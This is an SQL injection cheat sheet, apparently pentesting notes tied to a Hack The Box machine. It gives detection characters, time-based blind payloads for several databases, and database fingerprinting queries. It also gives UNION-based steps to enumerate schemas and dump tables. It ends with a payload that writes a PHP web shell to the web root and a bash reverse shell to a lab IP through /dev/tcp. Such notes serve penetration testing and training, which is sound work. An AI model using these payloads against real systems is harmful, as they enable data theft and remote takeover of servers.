SQL Injection

1. Detecte The Vulnerability

By triggering an error

For every request we intercept, one of the GET param or POST data could be vulnerable to SQL injection, so, How can we know if it is.

[None]
'       ''      %27     
"       ""      %22
`       ``
#       ##      %23
;       ;;      %3B
*       ** 
/       //
\       \\
/*


%00     ;%00
-- -
/*…*/
+ 
||
% 

With logical operations

" OR 1 = 1 -- -
' OR 1 -- -
" OR "" = "
' OR '' = '
' OR '1

with Timing (Blindly)

MySQL (string concat and logical ops)
1' + sleep(10) -- -
1' OR sleep(10) -- -
1' && sleep(10) -- - 
1' | sleep(10) -- -


PostgreSQL (only support string concat)
1' || pg_sleep(10)


MSQL
1' WAITFOR DELAY '0:0:10'


Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)


SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

FOR MORE

2. DBMS Identification

Mysql

1' OR sleep(10) -- -
1' | sleep(10) -- -
1' AND sleep(10) -- -

conv('a',16,2)=conv('a',16,2)
connection_id()=connection_id()
crc32('MySQL')=crc32('MySQL')
BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
@@CONNECTIONS>0
@@CONNECTIONS=@@CONNECTIONS

Ex : ‘OR conv('a',16,2)=conv('a',16,2) – -

Oracle

ROWNUM=ROWNUM
RAWTOHEX('AB')=RAWTOHEX('AB')
LNNVL(0=123)

Postgresql

1' || pg_sleep(10)

5::int=5
5::integer=5
pg_client_encoding()=pg_client_encoding()
get_current_ts_config()=get_current_ts_config()
quote_literal(42.5)=quote_literal(42.5)
current_database()=current_database()

Sqlite

sqlite_version()=sqlite_version()
last_insert_rowid()>1
last_insert_rowid()=last_insert_rowid()



3. Exploitation

  1. Detecting number of columns the initial request is returning
  2. Detecting Data types of those columns
  3. Extract database names, table names and column names
  4. dump their content

In-Band (Calssic)

here where we can see the output of the query.

1. Detecting number of columns the initial request is returning

Order/Group by

Keep incrementing the number until you get a False response

1' ORDER BY 1-- -    # True
1' ORDER BY 2-- -    # True
1' ORDER BY 3-- -    # True
1' ORDER BY 4-- -    # False - Query is only using 3 columns
                       
                     # 1' UNION SELECT 1,2,3-- - 
1' GROUP BY 1-- -    # True
1' GROUP BY 2-- -    # True
1' GROUP BY 3-- -    # True
1' GROUP BY 4-- -    # False - Query is only using 3 columns
                     
                     #1' UNION SELECT 1,2,3-- -    # Accepted query

UNION SELECT

1' UNION SELECT null-- -           # Not working
1' UNION SELECT null,null-- -      # Not working
1' UNION SELECT null,null,null-- - # Worked   ===> the number of cols is 3

2. Find the columns data types

' UNION SELECT 'a', null, null-- -
' UNION SELECT null, 'a', null-- -
' UNION SELECT null, null, 'a'-- -
Note

casting !!!!

3. Extract database names, table names and column names

INFORMATION_SCHEMA provides access to database metadata, information about the MySQL server (DBMS)

Remove or Add extra columns (null)

## Database names
1' UniOn Select schema_name fRoM information_schema.schemata -- -

1' UniOn Select null,null,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata -- -
## ALL Tables
1' UniOn Select table_name fRoM information_schema.tables-- -


## Tables of a database

1' UniOn Select table_name fRoM information_schema.tables wHeRe table_schema="[database]"-- -

1' UniOn Select null,null,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema="[database]" -- -
## Columns of a table

1' UniOn Select column_name fRoM information_schema.columns wHeRe table_name="[table]" -- -

1' UniOn Select null,null,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name="[table]" -- -
# Get the table content 

1' UniOn Select CONCAT(col1, " : ", col2, " : ", col3, ....) fRoM [table] -- - 
1' UniOn Select col1 || ' : ' || col2 || ' : ' || col3 fRoM [table] -- - 
Note

Sometimes when we try to dump table content it displays an SQL Error which may lead you to believe it did not work. But it’s just because the SQL Syntax we used does not return any fields, it is expecting it to return a name or a varibale but since it doesn’t it errors.

Blind

Out-Of-Band

Dropping a File

Note

INTO OUTFILE : if you have access to this command we can easly save the query results into a file, in a writeable directory.

maybe the DBMS running with a root privilege ^^, so you can add the file where ever you want

PHP Applicaiton

1' union select "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE
'/var/www/html/shell.php'-- -


## Reverse shell :: bash -c 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1'

http://10.10.x.x/shell.php?cmd=bash -c 'bash -i+>%26 /dev/tcp/10.10.16.8/1234 0>%261'

3. References

  • https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/#MySQLInlineSamples

  • https://book.hacktricks.xyz/pentesting-web/sql-injection

  • https://app.hackthebox.com/machines/Validation

Web crawler is also used to insert illegal characters into the query string of a URL and check for any error result sent by the server

M : MySQL S : SQL Server P : PostgreSQL O : Oracle

  • : Possibly all other databases

Examples;

(MS) means : MySQL and SQL Server etc.
(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server